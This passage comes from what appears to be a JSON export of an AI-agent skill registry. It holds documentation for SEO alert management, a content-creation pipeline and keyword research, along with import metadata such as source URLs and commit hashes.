Alerts\n \n | Alert Name | Condition | Priority |\n |------------|-----------|----------|\n | Conversion Drop | Organic conversions down 30%+ | \ud83d\udd34 Critical |\n | CVR Decline | Conversion rate drops 20%+ | \ud83d\udd34 High |\n ```\n\n4. **Configure Technical SEO Alerts**\n\n ```markdown\n ## Technical SEO Alerts\n \n ### Critical Technical Alerts\n \n | Alert Name | Condition | Priority | Response Time |\n |------------|-----------|----------|---------------|\n | Site Down | HTTP 5xx errors | \ud83d\udd34 Critical | Immediate |\n | SSL Expiry | Certificate expiring in 14 days | \ud83d\udd34 Critical | Same day |\n | Robots.txt Block | Important pages blocked | \ud83d\udd34 Critical | Same day |\n | Index Dropped | Pages dropping from index | \ud83d\udd34 Critical | Same day |\n \n ### Crawl & Index Alerts\n \n | Alert Name | Condition | Priority |\n |------------|-----------|----------|\n | Crawl Errors Spike | Errors increase 50%+ | \ud83d\udd34 High |\n | New 404 Pages | 404 errors on important pages | \ud83d\udfe1 Medium |\n | Redirect Chains | 3+ redirect hops detected | \ud83d\udfe1 Medium |\n | Duplicate Content | New duplicates detected | \ud83d\udfe1 Medium |\n | Index Coverage Drop | Indexed pages decline 10%+ | \ud83d\udd34 High |\n \n ### Performance Alerts\n \n | Alert Name | Condition | Priority |\n |------------|-----------|----------|\n | Core Web Vitals Fail | CWV drops to \"Poor\" | \ud83d\udd34 High |\n | Page Speed Drop | Load time increases 50%+ | \ud83d\udfe1 Medium |\n | Mobile Issues | Mobile usability errors | \ud83d\udd34 High |\n \n ### Security Alerts\n \n | Alert Name | Condition | Priority |\n |------------|-----------|----------|\n | Security Issue | GSC security warning | \ud83d\udd34 Critical |\n | Manual Action | Google manual action | \ud83d\udd34 Critical |\n | Malware Detected | Site flagged for malware | \ud83d\udd34 Critical |\n ```\n\n5. **Configure Backlink Alerts**\n\n ```markdown\n ## Backlink Alerts\n \n ### Link Loss Alerts\n \n | Alert Name | Condition | Priority |\n |------------|-----------|----------|\n | High-Value Link Lost | DA 70+ link removed | \ud83d\udd34 High |\n | Multiple Links Lost | 10+ links lost in a day | \ud83d\udfe1 Medium |\n | Referring Domain Lost | Lost entire domain's links | \ud83d\udfe1 Medium |\n \n ### Link Gain Alerts\n \n | Alert Name | Condition | Priority |\n |------------|-----------|----------|\n | High-Value Link | New DA 70+ link | \ud83d\udfe2 Positive |\n | Suspicious Links | Many low-quality links | \ud83d\udfe1 Review |\n | Negative SEO | Spam link attack pattern | \ud83d\udd34 High |\n \n ### Link Profile Alerts\n \n | Alert Name | Condition | Priority |\n |------------|-----------|----------|\n | Toxic Score Increase | Toxic score up 20%+ | \ud83d\udd34 High |\n | Anchor Over-Optimization | Exact match anchors >30% | \ud83d\udfe1 Medium |\n ```\n\n6. **Configure Competitor Alerts**\n\n ```markdown\n ## Competitor Monitoring Alerts\n \n ### Ranking Alerts\n \n | Alert Name | Condition | Priority |\n |------------|-----------|----------|\n | Competitor Overtake | Competitor passes you | \ud83d\udfe1 Medium |\n | Competitor Top 3 | Competitor enters top 3 on key term | \ud83d\udfe1 Medium |\n | Competitor Content | Competitor publishes on your topic | \ud83d\udfe2 Info |\n \n ### Activity Alerts\n \n | Alert Name | Condition | Priority |\n |------------|-----------|----------|\n | New Backlinks | Competitor gains high-DA link | \ud83d\udfe2 Info |\n | Content Update | Competitor updates ranking content | \ud83d\udfe2 Info |\n | New Content | Competitor publishes new content | \ud83d\udfe2 Info |\n \n ### Competitors to Monitor\n \n | Competitor | Domain | Monitor Keywords | Alert Priority |\n |------------|--------|------------------|----------------|\n | [Competitor 1] | [domain] | [X] keywords | High |\n | [Competitor 2] | [domain] | [X] keywords | Medium |\n | [Competitor 3] | [domain] | [X] keywords | Low |\n ```\n\n7. **Configure GEO/AI Alerts**\n\n ```markdown\n ## GEO (AI Visibility) Alerts\n \n ### AI Citation Alerts\n \n | Alert Name | Condition | Priority |\n |------------|-----------|----------|\n | Citation Lost | Lost AI Overview citation | \ud83d\udfe1 Medium |\n | Citation Won | New AI Overview citation | \ud83d\udfe2 Positive |\n | Citation Position Drop | Dropped from 1st to 3rd+ source | \ud83d\udfe1 Medium |\n | New AI Overview | AI Overview appears for tracked keyword | \ud83d\udfe2 Info |\n \n ### GEO Trend Alerts\n \n | Alert Name | Condition | Priority |\n |------------|-----------|----------|\n | Citation Rate Drop | AI citation rate drops 20%+ | \ud83d\udd34 High |\n | GEO Competitor | Competitor cited where you're not | \ud83d\udfe1 Medium |\n ```\n\n8. **Configure Brand Alerts**\n\n ```markdown\n ## Brand Monitoring Alerts\n \n ### Mention Alerts\n \n | Alert Name | Condition | Priority |\n |------------|-----------|----------|\n | Brand Mention | New brand mention online | \ud83d\udfe2 Info |\n | Negative Mention | Negative sentiment mention | \ud83d\udd34 High |\n | Review Alert | New review on key platforms | \ud83d\udfe1 Medium |\n | Unlinked Mention | Brand mention without link | \ud83d\udfe2 Opportunity |\n \n ### Reputation Alerts\n \n | Alert Name | Condition | Priority |\n |------------|-----------|----------|\n | Review Rating Drop | Average rating drops | \ud83d\udd34 High |\n | Negative Press | Negative news article | \ud83d\udd34 High |\n | Competitor Comparison | Named in competitor comparison | \ud83d\udfe1 Medium |\n ```\n\n9. **Define Alert Response Plans**\n\n ```markdown\n ## Alert Response Plans\n \n ### Critical Alert Response (\ud83d\udd34)\n \n **Response Time**: Immediate (within 1 hour)\n \n | Alert Type | Immediate Actions |\n |------------|-------------------|\n | Site Down | 1. Check server status 2. Contact hosting 3. Check DNS |\n | Traffic Crash | 1. Check for algorithm update 2. Review GSC errors 3. Check competitors |\n | Manual Action | 1. Review GSC message 2. Identify issue 3. Begin remediation |\n | Critical Rank Drop | 1. Check if page indexed 2. Review SERP 3. Analyze competitors |\n \n ### High Priority Response (\ud83d\udd34/\ud83d\udfe1)\n \n **Response Time**: Same day\n \n | Alert Type | Actions |\n |------------|---------|\n | Major Rank Drops | Analyze cause, create recovery plan |\n | Traffic Decline | Investigate source, check technical issues |\n | Backlink Loss | Attempt recovery outreach |\n | CWV Failure | Diagnose and fix performance issues |\n \n ### Medium Priority Response (\ud83d\udfe1)\n \n **Response Time**: Within 48 hours\n \n | Alert Type | Actions |\n |------------|---------|\n | Moderate Rank Changes | Monitor trend, plan content updates |\n | Competitor Movement | Analyze competitor changes |\n | New 404s | Set up redirects, update internal links |\n \n ### Low Priority (\ud83d\udfe2)\n \n **Response Time**: Weekly review\n \n | Alert Type | Actions |\n |------------|---------|\n | Positive Changes | Document wins, understand cause |\n | Info Alerts | Log for trend analysis |\n ```\n\n10. **Set Up Alert Delivery**\n\n ```markdown\n ## Alert Notification Setup\n \n ### Notification Channels\n \n | Priority | Channels | Frequency |\n |----------|----------|-----------|\n | \ud83d\udd34 Critical | Email + SMS + Slack | Immediate |\n | \ud83d\udd34 High | Email + Slack | Immediate |\n | \ud83d\udfe1 Medium | Email + Slack | Daily digest |\n | \ud83d\udfe2 Low | Email | Weekly digest |\n \n ### Alert Recipients\n \n | Role | Critical | High | Medium | Low |\n |------|----------|------|--------|-----|\n | SEO Manager | \u2705 | \u2705 | \u2705 | \u2705 |\n | Dev Team | \u2705 | \u2705 (tech only) | \u274c | \u274c |\n | Marketing Lead | \u2705 | \u2705 | \u274c | \u274c |\n | Executive | \u2705 | \u274c | \u274c | \u274c |\n \n ### Alert Suppression\n \n - Suppress duplicate alerts for 24 hours\n - Don't alert on known issues (maintenance windows)\n - Batch low-priority alerts into digests\n \n ### Alert Escalation\n \n | If No Response In | Escalate To |\n |-------------------|-------------|\n | 1 hour (Critical) | SEO Manager \u2192 Director |\n | 4 hours (High) | Team Lead \u2192 Manager |\n | 24 hours (Medium) | Team \u2192 Lead |\n ```\n\n11. **Create Alert Summary**\n\n ```markdown\n # SEO Alert System Summary\n \n **Domain**: [domain]\n **Configured**: [date]\n **Total Active Alerts**: [X]\n \n ## Alert Count by Category\n \n | Category | Critical | High | Medium | Low | Total |\n |----------|----------|------|--------|-----|-------|\n | Rankings | [X] | [X] | [X] | [X] | [X] |\n | Traffic | [X] | [X] | [X] | [X] | [X] |\n | Technical | [X] | [X] | [X] | [X] | [X] |\n | Backlinks | [X] | [X] | [X] | [X] | [X] |\n | Competitors | [X] | [X] | [X] | [X] | [X] |\n | GEO | [X] | [X] | [X] | [X] | [X] |\n | **Total** | **[X]** | **[X]** | **[X]** | **[X]** | **[X]** |\n \n ## Quick Reference\n \n ### If You Get a Critical Alert\n \n 1. Don't panic\n 2. Check alert details\n 3. Follow response plan\n 4. Document actions taken\n 5. Update stakeholders\n \n ### Weekly Alert Review Checklist\n \n - [ ] Review all alerts triggered\n - [ ] Identify patterns\n - [ ] Adjust thresholds if needed\n - [ ] Update response plans\n - [ ] Clean up false positives\n ```\n\n## Validation Checkpoints\n\n### Input Validation\n- [ ] Alert thresholds are based on realistic baseline data\n- [ ] Critical keywords and pages clearly identified\n- [ ] Response plans defined for each alert priority level\n- [ ] Notification channels configured with appropriate recipients\n\n### Output Validation\n- [ ] Every metric cites its data source and collection date\n- [ ] Alert thresholds account for normal metric fluctuations\n- [ ] Response plans are specific and time-bound\n- [ ] Source of each alert trigger clearly stated (~~SEO tool API alert, ~~search console notification, ~~web crawler alert, or manual user check)\n\n## Example\n\n**User**: \"Set up ranking drop alerts for my top keywords\"\n\n**Output**:\n\n```markdown\n## Ranking Alert Configuration\n\n### Critical Keywords (Immediate Alert)\n\n| Keyword | Current | Alert If | Priority |\n|---------|---------|----------|----------|\n| best project management software | 2 | Drops to 5+ | \ud83d\udd34 Critical |\n| project management tools | 4 | Drops to 8+ | \ud83d\udd34 Critical |\n| team collaboration software | 1 | Any drop | \ud83d\udd34 Critical |\n\n### Important Keywords (Same-Day Alert)\n\n| Keyword | Current | Alert If | Priority |\n|---------|---------|----------|----------|\n| agile project management | 7 | Drops out of top 10 | \ud83d\udd34 High |\n| kanban software | 9 | Drops out of top 10 | \ud83d\udd34 High |\n\n### Alert Response Plan\n\n**If Critical Keyword Drops**:\n1. Check if page is still indexed (site:url)\n2. Look for algorithm update announcements\n3. Analyze what changed in SERP\n4. Review competitor ranking changes\n5. Check for technical issues on page\n6. Create recovery action plan within 24 hours\n\n**Notification**: Email + Slack to SEO team immediately\n```\n\n## Tips for Success\n\n1. **Start simple** - Don't create too many alerts initially\n2. **Tune thresholds** - Adjust based on normal fluctuations\n3. **Avoid alert fatigue** - Too many alerts = ignored alerts\n4. **Document response plans** - Know what to do when alerts fire\n5. **Review regularly** - Alerts need maintenance as your SEO matures\n6. **Include positive alerts** - Track wins, not just problems\n\n## Alert Threshold Recommendations\n\n### Recommended Alert Thresholds by Metric\n\n| Metric | Warning Threshold | Critical Threshold | Check Frequency |\n|--------|------------------|-------------------|-----------------|\n| Organic traffic | -15% WoW | -30% WoW | Daily |\n| Average position (tracked KWs) | >3 position drop | >5 position drop | Daily |\n| Pages indexed | -5% change | -20% change | Weekly |\n| Crawl errors | >10 new errors | >50 new errors | Daily |\n| Core Web Vitals | Any metric moves to \"Needs Improvement\" | Any metric moves to \"Poor\" | Weekly |\n| Backlinks lost | >5% of total in 1 week | >15% in 1 week | Weekly |\n| AI citation loss | Any key query loses citation | >20% queries lose citation | Weekly |\n| Server errors (5xx) | >1% of pages | >5% of pages | Daily |\n| Security issues | Any detected | Any detected | Daily |\n| Manual penalty | N/A | Any notification | Daily |\n\n## Alert Fatigue Prevention\n\n### Alert Management Best Practices\n\n| Practice | Why | How |\n|----------|-----|-----|\n| **Tiered severity** | Not all alerts need immediate action | Critical: Immediate; Warning: Review daily; Info: Weekly digest |\n| **Threshold tuning** | Reduce false positives | Start conservative, tighten after 1 month of baseline data |\n| **Grouping** | Prevent alert storms | Group related alerts (e.g., multiple rank drops = \"ranking alert\") |\n| **Cooldown periods** | Avoid repeated alerts for same issue | Do not re-alert on same metric for 24-48 hours |\n| **Scheduled digests** | Reduce notification volume | Batch non-urgent alerts into daily or weekly email |\n| **Auto-resolution** | Close alerts when metric recovers | Track recovery and auto-close if threshold restored |\n\n### Alert Priority Classification\n\n| Priority | Response Time | Notification Channel | Example |\n|----------|-------------|---------------------|---------|\n| P0 \u2014 Emergency | Within 1 hour | SMS + Slack + Email | Site down, manual penalty, security breach |\n| P1 \u2014 Urgent | Same day | Slack + Email | Major traffic drop, crawl blocked, indexing issues |\n| P2 \u2014 Important | Within 48 hours | Email + Weekly digest | Rank drops, CWV degradation, backlink loss |\n| P3 \u2014 Monitor | Next weekly review | Weekly digest only | Minor fluctuations, new competitor content |\n\n## Escalation Path Templates\n\n### Standard Escalation Flow\n\n```\nAlert Triggers -> Automated Classification -> Route by Priority\n\nP0: Notify SEO Lead + Dev Team immediately\n -> If not acknowledged in 30 min -> Notify Engineering Manager\n -> If not resolved in 2 hours -> Notify VP/Director\n\nP1: Notify SEO Lead\n -> If not acknowledged in 4 hours -> Notify Marketing Manager\n -> Add to next standup agenda\n\nP2: Add to daily digest\n -> If persists >1 week -> Escalate to P1\n\nP3: Add to weekly digest\n -> If persists >1 month -> Escalate to P2\n```\n\n## Alert Response Playbooks\n\n### Traffic Drop Alert\n\n| Step | Action | If True | If False |\n|------|--------|---------|----------|\n| 1 | Check if site-wide or page-specific | Go to Step 2a | Go to Step 2b |\n| 2a | Check Google Search Status Dashboard for algorithm update | Document and wait | Go to Step 3 |\n| 2b | Check specific page for technical issues (404, noindex, slow) | Fix technical issue | Go to Step 3 |\n| 3 | Check Search Console for crawl errors or index drops | Fix crawl/index issues | Go to Step 4 |\n| 4 | Check if competitors published new content | Analyze and plan content response | Go to Step 5 |\n| 5 | Check backlink profile for lost links | Outreach for link recovery | Escalate for deeper analysis |\n\n### Ranking Drop Alert\n\n| Step | Action | If True | If False |\n|------|--------|---------|----------|\n| 1 | Verify the drop is real (check multiple tools, wait 24-48h) | Confirmed drop, go to Step 2 | False alarm, close alert |\n| 2 | Check if algorithm update occurred | Document, monitor, improve content quality | Go to Step 3 |\n| 3 | Check if your page changed recently | Revert or fix the change | Go to Step 4 |\n| 4 | Analyze the SERP \u2014 did a new competitor appear? | Study competitor, plan response | Go to Step 5 |\n| 5 | Check for lost backlinks to the ranking page | Recover links or build new ones | Escalate for full audit |\n\n### Technical Alert (Site Down / 5xx Errors)\n\n| Step | Action | If True | If False |\n|------|--------|---------|----------|\n| 1 | Confirm site is actually down (check from multiple locations) | Go to Step 2 | Close alert as false positive |\n| 2 | Check server/hosting status page | Provider issue \u2014 contact support, wait | Go to Step 3 |\n| 3 | Check recent deployments or configuration changes | Rollback the change | Go to Step 4 |\n| 4 | Check server resource usage (CPU, memory, disk) | Scale resources or optimize | Escalate to engineering |\n\n## Reference Materials\n\n- [Alert Threshold Guide](./references/alert-threshold-guide.md) \u2014 Recommended thresholds by metric, fatigue prevention strategies, and escalation path templates\n\n## Related Skills\n\n- [rank-tracker](../rank-tracker/) \u2014 Ranking data for alerts\n- [backlink-analyzer](../backlink-analyzer/) \u2014 Backlink monitoring\n- [technical-seo-checker](../../optimize/technical-seo-checker/) \u2014 Technical monitoring\n- [performance-reporter](../performance-reporter/) \u2014 Alert summaries in reports\n- [memory-management](../../cross-cutting/memory-management/) \u2014 Store alert history and thresholds in project memory\n- [content-refresher](../../optimize/content-refresher/) \u2014 Content decay alerts trigger refresh workflows\n\n", "inputs_schema": {"type": "object", "properties": {}}, "outputs_schema": {"type": "object", "properties": {}}, "bindings": [{"type": "external", "url": "https://github.com/openclaw/skills/blob/main/skills/aaron-he-zhu/alert-manager/SKILL.md"}, {"type": "external", "url": "https://raw.githubusercontent.com/openclaw/skills/main/skills/aaron-he-zhu/alert-manager/SKILL.md"}, {"type": "openclaw_skill_md", "source": "github", "path": "skills/aaron-he-zhu/alert-manager/SKILL.md", "repo": {"owner": "openclaw", "repo": "skills", "ref": "main", "path": "skills/aaron-he-zhu/alert-manager/SKILL.md", "commit": "fe9bc149c1"}}], "constraints": {"riskTier": 2, "importedStub": false}, "required_permissions": [], "examples": [], "eval_packs": [], "provenance": {"publisher": "apeclaw-importer", "signed": false, "source": "github_repo_skill_md", "sourceUrl": "https://github.com/openclaw/skills/blob/main/skills/aaron-he-zhu/alert-manager/SKILL.md", "importedAt": "2026-02-18T19:24:20.978Z"}}}}, {"slug": "clawhub-content-engine", "name": "Content Engine", "category": "NFT", "description": "From blank page to published, optimized, and promoted \u2014 in one workflow. This skill turns a topic or keyword into a researched, drafted, optimized,...", "vettedOk": true, "onchain": true, "fullJson": {"ok": true, "card": {"name": "Content Engine", "slug": "clawhub-content-engine", "version": "1.0.0", "description": "--- name: content-engine description: > Full-stack content creation pipeline from research to publication. Analyzes top-ranking competitor articles, identifies content gaps, generates SEO-optimized blog posts with brand voice, adds meta descriptions and internal link suggestions, formats for WordPress/Ghost/Notion/Hugo/Jekyll, and creates platform-specific social media promotion posts for LinkedIn, Twitter/X, and Reddit. Use this skill for: blog post writing, article creation, SEO content, keyword research, content gap analysis, content strategy, content calendar planning, \"write a blog post about X\", competitor content analysis, \"what should I write about next\", social media post generation from content, content marketing automation, editorial workflow, copywriting, long-form content, content optimization, meta description generation, or any request involving researching a topic and producing publish-ready content. Replaces manually chaining web research, writing, SEO tools, CMS formatting, and social scheduling into one step. metadata: openclaw: emoji: \"\u270d\ufe0f\" ---", "documentation_md": "---\nname: content-engine\ndescription: >\n Full-stack content creation pipeline from research to publication. Analyzes top-ranking competitor\n articles, identifies content gaps, generates SEO-optimized blog posts with brand voice, adds meta\n descriptions and internal link suggestions, formats for WordPress/Ghost/Notion/Hugo/Jekyll, and\n creates platform-specific social media promotion posts for LinkedIn, Twitter/X, and Reddit. Use this\n skill for: blog post writing, article creation, SEO content, keyword research, content gap analysis,\n content strategy, content calendar planning, \"write a blog post about X\", competitor content analysis,\n \"what should I write about next\", social media post generation from content, content marketing\n automation, editorial workflow, copywriting, long-form content, content optimization, meta description\n generation, or any request involving researching a topic and producing publish-ready content. Replaces\n manually chaining web research, writing, SEO tools, CMS formatting, and social scheduling into one step.\nmetadata:\n openclaw:\n emoji: \"\u270d\ufe0f\"\n---\n\n# Content Engine\n\nFrom blank page to published, optimized, and promoted \u2014 in one workflow. This skill turns a topic or keyword into a researched, drafted, optimized, and publish-ready piece of content.\n\n## Why This Exists\n\nContent creation with OpenClaw today requires manually chaining 4-5 skills: web research, writing, SEO optimization, CMS formatting, and social scheduling. This skill connects the full pipeline so you go from idea to published post in one flow.\n\n## The Pipeline\n\nContent Engine runs in 5 phases. The user can run the full pipeline or start from any phase.\n\n### Phase 1: Research\n\nWhen the user provides a topic or target keyword:\n\n1. **Competitor analysis**: Use web_search to find the top 5-10 ranking articles for the target keyword\n2. **Structure extraction**: For each competitor article, note:\n - Word count (approximate from snippets)\n - H2/H3 headings and structure\n - Key angles and arguments\n - What's missing or weak\n3. **People Also Ask**: Search for \"[keyword]\" and extract related questions\n4. **Content gap identification**: What do all competitors cover? What does nobody cover? The gap is the opportunity.\n5. **Research brief output**:\n\n```\n\ud83d\udcca Research Brief: [Keyword]\n\nTop competitors (by ranking):\n1. [Title] \u2014 [URL] \u2014 ~[word count] words\n Key angle: [one sentence]\n2. ...\n\nCommon structure:\n- All cover: [topics everyone mentions]\n- Gap opportunities: [topics nobody covers well]\n\nPeople Also Ask:\n- [question 1]\n- [question 2]\n- [question 3]\n\nRecommended angle: [your unique take based on gaps]\nRecommended word count: [based on competitor average + 20%]\n```\n\n### Phase 2: Draft\n\nGenerate a structured first draft using the research brief:\n\n1. **Check for brand voice**: look in OpenClaw memory for stored brand guidelines, tone preferences, or writing style notes. If none exist, ask the user on first run and store for future use.\n2. **Outline first**: generate an outline with H2/H3 structure before writing. Show the user and get approval (or auto-proceed if they said \"just write it\").\n3. **Write the draft** following these principles:\n - Open with a hook that addresses the reader's problem directly\n - Use the gap opportunities from research as unique sections\n - Include data points and specific examples (from research)\n - Write for the target keyword naturally \u2014 no keyword stuffing\n - End with a clear conclusion and call-to-action\n4. **Output**: Markdown file saved to workspace\n\n### Phase 3: Optimize\n\nSEO and readability optimization:\n\n1. **Meta description**: Generate a compelling meta description under 155 characters that includes the target keyword\n2. **Title tag**: Optimize the title for search (include keyword, keep under 60 chars, make it compelling)\n3. **Internal link suggestions**: if the user has provided a sitemap or list of existing content, suggest internal links. Otherwise, note where internal links could go.\n4. **Image alt text**: suggest alt text for any images mentioned or planned\n5. **Readability check**:\n - Flag paragraphs longer than 4 sentences\n - Flag sentences longer than 25 words\n - Suggest subheadings every 300 words if missing\n - Check for passive voice overuse\n6. **Keyword integration check**: verify the target keyword appears in title, first paragraph, at least one H2, and meta description\n\nOutput an optimization report appended to the draft:\n\n```\n\ud83d\udd0d SEO Optimization Report\n\nTitle tag: [optimized title] ([char count])\nMeta description: [meta] ([char count])\nTarget keyword: [keyword]\n \u2514\u2500 In title: \u2705\n \u2514\u2500 In first paragraph: \u2705 \n \u2514\u2500 In H2: \u2705\n \u2514\u2500 In meta: \u2705\nReadability: [score/assessment]\nSuggested internal links: [list or \"provide sitemap for suggestions\"]\n```\n\n### Phase 4: Format & Publish\n\nFormat the content for the user's CMS and prepare for publication:\n\n1. **Detect CMS**: check memory for CMS preference. Common options:\n - **WordPress**: use WordPress skill if available, or output HTML-ready content with featured image suggestions\n - **Ghost**: output in Ghost-compatible Markdown\n - **Notion**: create a Notion page via Notion skill if available\n - **Markdown/Hugo/Jekyll**: output as .md with proper frontmatter\n - **No CMS**: just output clean Markdown\n\n2. **Frontmatter generation** (for static site generators):\n ```yaml\n ---\n title: \"[optimized title]\"\n description: \"[meta description]\"\n date: [today]\n tags: [relevant tags]\n categories: [relevant categories]\n ---\n ```\n\n3. **Publish or save**: if CMS integration is available, offer to publish directly. Otherwise, save the final file and tell the user where it is.\n\n### Phase 5: Promote\n\nGenerate social media promotion content:\n\n1. **Platform-specific posts**: generate posts optimized for each platform:\n - **LinkedIn**: professional tone, 1-3 paragraphs, relevant hashtags\n - **Twitter/X**: hook + link, under 280 chars, 2-3 hashtags\n - **Reddit**: genuine value-add framing (not promotional), suggest appropriate subreddits\n - **Hacker News**: technical angle, factual title\n \n2. **Schedule**: if Mixpost or Buffer skill is available, offer to schedule posts\n3. **Email newsletter**: offer to generate a newsletter blurb for the article\n\nOutput all promotional content in a single block:\n\n```\n\ud83d\udce2 Promotion Kit for: [Article Title]\n\nLinkedIn:\n[post text]\n\nTwitter/X:\n[tweet text]\n\nReddit (suggested subreddits: r/[sub1], r/[sub2]):\n[post text]\n\nNewsletter blurb:\n[2-3 sentence summary for email]\n```\n\n## Usage Modes\n\n### Full Pipeline\n**User**: \"Write a blog post about AI agent security best practices\"\n\u2192 Run all 5 phases sequentially, showing output at each stage\n\n### Research Only\n**User**: \"Research what's ranking for 'openclaw tutorial'\"\n\u2192 Run Phase 1 only, output the research brief\n\n### Draft from Research\n**User**: \"I already researched this topic, here are my notes: [notes]. Write the draft.\"\n\u2192 Skip Phase 1, run Phases 2-5\n\n### Optimize Existing Content\n**User**: \"Optimize this blog post for SEO\" + [attached content]\n\u2192 Skip Phases 1-2, run Phases 3-5\n\n### Promote Existing Content\n**User**: \"Generate social posts for this article: [URL or content]\"\n\u2192 Skip Phases 1-4, run Phase 5 only\n\n## Content Calendar\n\nIf the user asks for a content plan or calendar:\n\n1. Research trending topics in their niche using web_search\n2. Cross-reference with their existing content (if known) to avoid duplication\n3. Suggest 4-8 topics for the next month with:\n - Target keyword\n - Estimated search volume (use web research clues)\n - Difficulty assessment (how strong is the competition?)\n - Recommended publish date\n4. Store the calendar in memory for tracking\n\n## Storing Brand Context\n\nOn first use, ask the user about their brand voice and store in memory:\n\n- **Tone**: professional, casual, technical, friendly, authoritative?\n- **Audience**: developers, marketers, business owners, general public?\n- **Formatting preferences**: short paragraphs? lots of headers? code examples?\n- **Things to avoid**: jargon level, competitors not to mention, topics to skip\n- **Existing content URL**: for internal linking and avoiding duplication\n\nOnce stored, use these preferences for every future content generation without asking again.\n\n## Edge Cases\n\n- **No keyword given**: if the user just says \"write about AI agents\", help them choose a specific keyword first using research\n- **Very competitive keyword**: warn the user and suggest long-tail alternatives\n- **Existing content**: if the user's site already has a similar article, flag it and suggest updating instead of creating new\n- **Multiple languages**: support content creation in any language the user requests, adjusting SEO practices for that language's search engine norms\n- **Short-form content**: for social posts or email copy (not blog posts), skip Phases 1 and 3, go straight to writing + formatting\n", "inputs_schema": {"type": "object", "properties": {}}, "outputs_schema": {"type": "object", "properties": {}}, "bindings": [{"type": "external", "url": "https://github.com/openclaw/skills/blob/main/skills/ariktulcha/content-engine/SKILL.md"}, {"type": "external", "url": "https://raw.githubusercontent.com/openclaw/skills/main/skills/ariktulcha/content-engine/SKILL.md"}, {"type": "openclaw_skill_md", "source": "github", "path": "skills/ariktulcha/content-engine/SKILL.md", "repo": {"owner": "openclaw", "repo": "skills", "ref": "main", "path": "skills/ariktulcha/content-engine/SKILL.md", "commit": "dff1d5eb06"}}], "constraints": {"riskTier": 2, "importedStub": false}, "required_permissions": [], "examples": [], "eval_packs": [], "provenance": {"publisher": "apeclaw-importer", "signed": false, "source": "github_repo_skill_md", "sourceUrl": "https://github.com/openclaw/skills/blob/main/skills/ariktulcha/content-engine/SKILL.md", "importedAt": "2026-02-18T19:26:30.784Z"}}}}, {"slug": "clawhub-keyword-research", "name": "Keyword Research", "category": "NFT", "description": "SEO & GEO Skills Library \u00b7 20 skills for SEO + GEO \u00b7 Install all: npx skills add aaron-he-zhu/seo-geo-claude-skills", "vettedOk": true, "onchain": true, "fullJson": {"ok": true, "card": {"name": "Keyword Research", "slug": "clawhub-keyword-research", "version": "1.0.0", "description": "--- name: keyword-research description: 'Use when the user asks to \"find keywords\", \"keyword research\", \"what should I write about\", \"identify ranking opportunities\", \"topic ideas\", \"what are people searching for\", \"which keywords should I target\", or \"give me keyword ideas\". Discovers high-value keywords with search intent analysis, difficulty assessment, and content opportunity mapping. Essential for starting any SEO or GEO content strategy. For analyzing competitor keywords specifically, see competitor-analysis. For content topic gaps, see content-gap-analysis.' license: Apache-2.0 metadata: author: aaron-he-zhu version: \"2.0.0\" geo-relevance: \"medium\" tags: - seo - geo - keywords - search intent - content strategy - topic research - content planning - search volume - long-tail keywords triggers: - \"find keywords\" - \"keyword research\" - \"what should I write about\" - \"identify ranking opportunities\" - \"topic ideas\" - \"search volume\" - \"content opportunities\" - \"what are people searching for\" - \"which keywords should I target\" - \"give me keyword ideas\" ---", "documentation_md": "---\nname: keyword-research\ndescription: 'Use when the user asks to \"find keywords\", \"keyword research\", \"what should I write about\", \"identify ranking opportunities\", \"topic ideas\", \"what are people searching for\", \"which keywords should I target\", or \"give me keyword ideas\". Discovers high-value keywords with search intent analysis, difficulty assessment, and content opportunity mapping. Essential for starting any SEO or GEO content strategy. For analyzing competitor keywords specifically, see competitor-analysis. For content topic gaps, see content-gap-analysis.'\nlicense: Apache-2.0\nmetadata:\n author: aaron-he-zhu\n version: \"2.0.0\"\n geo-relevance: \"medium\"\n tags:\n - seo\n - geo\n - keywords\n - search intent\n - content strategy\n - topic research\n - content planning\n - search volume\n - long-tail keywords\n triggers:\n - \"find keywords\"\n - \"keyword research\"\n - \"what should I write about\"\n - \"identify ranking opportunities\"\n - \"topic ideas\"\n - \"search volume\"\n - \"content opportunities\"\n - \"what are people searching for\"\n - \"which keywords should I target\"\n - \"give me keyword ideas\"\n---\n\n# Keyword Research\n\n\n> **[SEO & GEO Skills Library](https://skills.sh/aaron-he-zhu/seo-geo-claude-skills)** \u00b7 20 skills for SEO + GEO \u00b7 Install all: `npx skills add aaron-he-zhu/seo-geo-claude-skills`\n\n<details>\n<summary>Browse all 20 skills</summary>\n\n**Research** \u00b7 **keyword-research** \u00b7 [competitor-analysis](../competitor-analysis/) \u00b7 [serp-analysis](../serp-analysis/) \u00b7 [content-gap-analysis](../content-gap-analysis/)\n\n**Build** \u00b7 [seo-content-writer](../../build/seo-content-writer/) \u00b7 [geo-content-optimizer](../../build/geo-content-optimizer/) \u00b7 [meta-tags-optimizer](../../build/meta-tags-optimizer/) \u00b7 [schema-markup-generator](../../build/schema-markup-generator/)\n\n**Optimize** \u00b7 [on-page-seo-auditor](../../optimize/on-page-seo-auditor/) \u00b7 [technical-seo-checker](../../optimize/technical-seo-checker/) \u00b7 [internal-linking-optimizer](../../optimize/internal-linking-optimizer/) \u00b7 [content-refresher](../../optimize/content-refresher/)\n\n**Monitor** \u00b7 [rank-tracker](../../monitor/rank-tracker/) \u00b7 [backlink-analyzer](../../monitor/backlink-analyzer/) \u00b7 [performance-reporter](../../monitor/performance-reporter/) \u00b7 [alert-manager](../../monitor/alert-manager/)\n\n**Cross-cutting** \u00b7 [content-quality-auditor](../../cross-cutting/content-quality-auditor/) \u00b7 [domain-authority-auditor](../../cross-cutting/domain-authority-auditor/) \u00b7 [entity-optimizer](../../cross-cutting/entity-optimizer/) \u00b7 [memory-management](../../cross-cutting/memory-management/)\n\n</details>\n\nThis skill helps you discover, analyze, and prioritize keywords for SEO and GEO content strategies. It identifies high-value opportunities based on search volume, competition, intent, and business relevance.\n\n## When to Use This Skill\n\n- Starting a new content strategy or campaign\n- Expanding into new topics or markets\n- Finding keywords for a specific product or service\n- Identifying long-tail keyword opportunities\n- Understanding search intent for your industry\n- Planning content calendars\n- Researching keywords for GEO optimization\n\n## What This Skill Does\n\n1. **Keyword Discovery**: Generates comprehensive keyword lists from seed terms\n2. **Intent Classification**: Categorizes keywords by user intent (informational, navigational, commercial, transactional)\n3. **Difficulty Assessment**: Evaluates competition level and ranking difficulty\n4. **Opportunity Scoring**: Prioritizes keywords by potential ROI\n5. **Clustering**: Groups related keywords into topic clusters\n6. **GEO Relevance**: Identifies keywords likely to trigger AI responses\n\n## How to Use\n\n### Basic Keyword Research\n\n```\nResearch keywords for [topic/product/service]\n```\n\n```\nFind keyword 